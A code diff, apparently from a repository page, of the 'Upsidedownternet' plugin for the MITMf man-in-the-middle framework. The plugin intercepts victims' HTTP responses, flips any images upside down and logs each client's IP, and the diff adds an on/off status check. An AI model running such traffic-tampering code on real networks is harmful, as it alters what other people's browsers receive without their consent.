def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
try:
|
if self.getStatus():
|
||||||
isImage = getattr(request, 'isImage')
|
|
||||||
except AttributeError:
|
|
||||||
isImage = False
|
|
||||||
|
|
||||||
if isImage:
|
|
||||||
try:
|
try:
|
||||||
#For some reason more images get parsed using the parser
|
isImage = getattr(request, 'isImage')
|
||||||
#rather than a file...PIL still needs some work I guess
|
except AttributeError:
|
||||||
p = ImageFile.Parser()
|
isImage = False
|
||||||
p.feed(data)
|
|
||||||
im = p.close()
|
if isImage:
|
||||||
im = im.transpose(Image.ROTATE_180)
|
try:
|
||||||
output = StringIO()
|
#For some reason more images get parsed using the parser
|
||||||
im.save(output, format=self.imageType)
|
#rather than a file...PIL still needs some work I guess
|
||||||
data = output.getvalue()
|
p = ImageFile.Parser()
|
||||||
output.close()
|
p.feed(data)
|
||||||
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
|
im = p.close()
|
||||||
except Exception as e:
|
im = im.transpose(Image.ROTATE_180)
|
||||||
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
|
output = StringIO()
|
||||||
|
im.save(output, format=self.imageType)
|
||||||
return {'response': response, 'request': request, 'data': data}
|
data = output.getvalue()
|
||||||
|
output.close()
|
||||||
|
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
|
||||||
|
except Exception as e:
|
||||||
|
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
|
||||||
|
|
||||||
|
return {'response': response, 'request': request, 'data': data}
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue